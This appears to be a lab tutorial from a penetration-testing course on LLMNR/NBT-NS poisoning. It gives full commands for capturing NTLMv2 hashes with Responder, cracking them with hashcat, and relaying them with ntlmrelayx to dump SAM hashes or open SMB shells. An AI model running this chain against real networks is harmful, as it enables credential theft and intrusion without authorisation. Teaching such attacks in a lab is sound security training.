← Home
LLMNR and NBT-NS — Why They're Dangerous

The Name Resolution Fallback Problem

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are two name resolution protocols that Windows uses when DNS fails. When a user types a hostname that DNS cannot resolve (e.g. a typo in a UNC path), Windows falls back to LLMNR (multicast on the local subnet) and then to NBT-NS (broadcast).

The critical flaw: any machine on the network can respond to these queries — Windows has no way to verify who is answering. A malicious host can respond to every LLMNR/NBT-NS query it hears, claiming to be the requested resource. When the victim's machine connects to the attacker's host expecting authentication, it sends its NTLMv2 credentials automatically.

Victim (WS01) Attacker (Kali) | | | DNS query for \\FILESVR | | DNS: NXDOMAIN (no such host) | | | | LLMNR broadcast: "Who is | | FILESVR?" ------------------>| | | <-- Kali hears the broadcast | <-- "I am FILESVR" ----------| | (Responder responds) | | | | SMB connection to Kali's IP | | with NTLMv2 challenge/response | | --------------------------------> | | NTLMv2 hash captured

Why this matters: the NTLMv2 hash is crackable offline with Hashcat. If the user's password is in a wordlist, you recover plaintext credentials. Even if cracking fails, you can relay the NTLMv2 response directly to another host for authentication (SMB relay — next section).

LLMNR uses UDP/TCP 5355. NBT-NS uses UDP 137. SMB operates on TCP 445. Responder listens on all of these simultaneously. On real engagements, run Responder during business hours — that's when users are actively browsing and triggering name resolution queries.
Responder — Hash Capture

Setting Up Responder and Capturing NTLMv2 Hashes

Responder is a Swiss army knife for LLMNR/NBT-NS/MDNS poisoning. It poisons name resolution queries and captures the resulting NTLM authentication attempts. It also includes rogue servers for HTTP, FTP, LDAP, and others to capture credentials from those protocols.

# Start Responder on your lab interface (adjust eth0 to your NIC) kali@kali:~$ sudo responder -I eth0 -dwv # Flags: # -I eth0 interface to listen on # -d enable DHCP poisoning # -w enable WPAD rogue proxy server # -v verbose output

When a victim machine on the same subnet sends a broadcast name resolution query, Responder responds and captures the authentication attempt. The hash appears in the terminal and is saved to /usr/share/responder/logs/:

[SMB] NTLMv2-SSP Client : 192.168.1.20 [SMB] NTLMv2-SSP Username : MERIDIANFG\jsmith [SMB] NTLMv2-SSP Hash : jsmith::MERIDIANFG:aad3b435b51404ee:... (full NTLMv2 hash truncated)
The lab's WS01 and WS02 workstations are configured to generate LLMNR/NBT-NS queries periodically (via a scheduled task). Run Responder and wait — you'll see hashes appear within a few minutes without needing to trigger them manually.
Cracking NTLMv2 Hashes with Hashcat

Offline Hash Cracking

NTLMv2 hashes are not plaintext — they are challenge/response pairs. To recover the password, you run Hashcat against them offline with a wordlist. Hashcat's mode for NTLMv2 is 5600.

# Copy the hash line from Responder into a file kali@kali:~$ cat hash.txt jsmith::MERIDIANFG:aad3b435b51404ee:<full hash here> # Crack with rockyou.txt wordlist (mode 5600 = NTLMv2) kali@kali:~$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # With rules (more coverage) kali@kali:~$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Show cracked password kali@kali:~$ hashcat -m 5600 hash.txt --show
rockyou.txt has 14 million passwords and cracks most weak domain passwords within minutes on a GPU. If rockyou fails, try hashcat -m 5600 hash.txt wordlist.txt -r OneRuleToRuleThemAll.rule. Rule-based attacks apply mutations (leet substitution, capitalisation, appended numbers) to every word in the list — dramatically increasing coverage.
SMB Relay Attack

Relaying Credentials Without Cracking

If cracking the NTLMv2 hash is taking too long (long password, no wordlist match), or if you want to go faster, SMB relay lets you use the captured authentication directly — forwarding it to another host in real time to authenticate as the victim without ever knowing their password.

Prerequisites for SMB relay to work:

Use CME to identify targets without SMB signing:

kali@kali:~$ crackmapexec smb 192.168.1.0/24 --gen-relay-list relay-targets.txt # Outputs all hosts with SMB signing NOT required

Run the relay with Impacket's ntlmrelayx:

# Turn off SMB and HTTP in Responder so it only poisons, not captures # Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off # Start Responder (poisoning only) kali@kali:~$ sudo responder -I eth0 -dwv # Start ntlmrelayx targeting the relay list kali@kali:~$ impacket-ntlmrelayx -tf relay-targets.txt -smb2support # When a victim authenticates, ntlmrelayx relays it to all targets. # With -i flag: interactive SMB shell. Without: dumps SAM hashes.
A successful SMB relay against a machine where the victim has local admin dumps the SAM database — a file containing local account password hashes. Those hashes can be cracked or used directly in Pass the Hash attacks (Module 06).
Run Responder and ntlmrelayx simultaneously on the same interface. They are coordinated: Responder handles the initial LLMNR/NBT-NS poisoning and hands the connection to ntlmrelayx for the relay. Don't run Responder in capture mode at the same time — it will compete with ntlmrelayx for port 445.